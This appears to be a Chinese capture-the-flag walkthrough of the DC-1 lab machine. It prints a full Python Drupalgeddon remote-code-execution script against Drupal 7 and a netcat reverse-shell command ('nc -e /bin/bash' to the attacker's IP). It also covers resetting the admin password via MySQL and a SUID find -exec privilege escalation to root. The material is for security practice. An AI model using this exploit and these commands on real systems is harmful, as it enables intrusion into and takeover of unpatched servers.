DC-1靶场练习
DC-1靶场练习
练习环境
kali:192.168.10.128
靶机:未知
两个虚拟机都使用桥接(为了方便)
信息收集
先用kali扫描域内存活的主机
nmap 192.168.10.0/24
扫描到靶机,获得以下信息:
靶机IP:192.168.10.100
开放端口: 22(ssh),80(http),111(rpcbind)
先从80端口入手,浏览器打开
http://192.168.10.100
使用Wappalyzer查看信息
可以看到这个网站的cms是Drupal 7
然后就出于本能的去搜索一下这个版本的CMS的漏洞
经过一番查找,得到该漏洞的交互式命令执行python3脚本:
import requests
import re
from sys import argv
domain = argv[1]
def exploit(command):
HOST=domain
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':command, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print("\n".join(r.text.split("\n")[:-1]))
while True:
command = input('$ ')
exploit(command)
攻击
先尝试用这个脚本,将代码保存在rce.py中
python3 rce.py http://192.168.10.100/
脚本很强,可以使用,直getshell了,但是使用起来不方便
尝试在msfconsole中查找脚本
找到8个,并且exploit/multi/http/drupal_drupageddon
的和http有关,应该是这个了
设置好配置后尝试攻击
攻击成功
尝试获取反弹shell
kali:nc -lvvp 1234
靶机 :nc -e /bin/bash 192.168.10.128 1234
kali:python -c 'import pty;pty.spawn("/bin/bash")'
反弹成功
先查看文件一下
这里有一个flag1.txt,cat flag1.txt
查看
翻译一下:
“每个好的 CMS 都需要一个配置文件 - 你也是。”
百度查找一下这个CMS的配置文件名字
路径都查出来了,直接查看settings.php
cat sites/default/settings.php
拿到了flag2,并且得到数据库信息
flag2的翻译:
我不懂作者要表达啥,但我知道要提权
根据上面信息,尝试连接数据库
mysql -udbuser -pR0ck3t
连接成功,查看数据库
show databases;
选定数据库drupaldb
use drupaldb;
查看这个数据库的表
show tables;
查询到敏感表users
,查看里面的信息
select *from users;
可以看到admin的账号密码,密码被hash加密过,这里有两种选择,要么爆破,要么改数据库里的密码
由flag2提示,爆破这条路似乎走不通,只能修改密码
首先要找到它的加密脚本丢在哪里,百度一下得知脚本名称为password-hash.sh
,然后查找一下
find / -name password-hash.sh
得到路径: /var/www/scripts/password-hash.sh
使用drupal 自带脚本重新生成加密后的密码,这里打算把密码改为admin
./scripts/password-hash.sh admin
得到加密后的密码;
$S$DDEzmVGyUponhBeWCHBORSLh8X/MX1k0dnHdjF2QG8eq3IDaugr6
回到mysql修改admin密码
update users set pass='$S$DDEzmVGyUponhBeWCHBORSLh8X/MX1k0dnHdjF2QG8eq3IDaugr6' where uid=1;
密码修改成功
来到后台尝试登录
登录成功,并且得到flag3
翻译一下:
特殊的PERMS 将帮助查找passwd——但您需要-exec 该命令来确定如何获取shadow中的内容。
根据提示,查看/etc/passwd:
这里可以看到有个flag4用户,并且知道flag4路径,还有bash
查看/etc/shadow:权限不够
先查看flag4内容
Can you use this same method to find or access the flag in root?
您可以使用相同的方法在 root 中查找或访问flag吗?
Probably. But perhaps it's not that easy. Or maybe it is?
大概。 但也许没那么容易。 或者也许是?
提权
liunx提权一般有四种提权方式:
sudo提权,通过命令
sudo -l
查看是否有可提权的命令。suid提权,通过命令
find / -perm -4000 2>/dev/null
查看是否具有root权限的命令,系统版本内核提权。
通过数据库提权。
先列出来以root权限执行的文件
find / -perm -4000 2>/dev/null
find可以使用
常见的可以用来提权的文件:
Nmap
Vim
find
Bash
More
Less
Nano
cp
find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了。
//这个要在/var/www下执行
touch getflag
find / -type f -name getflag -exec "whoami" \;
find / -type f -name getflag -exec "/bin/sh" \;
提权成功,获取root权限
现在目标就是找最后的flag,最后的flag在root目录下
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7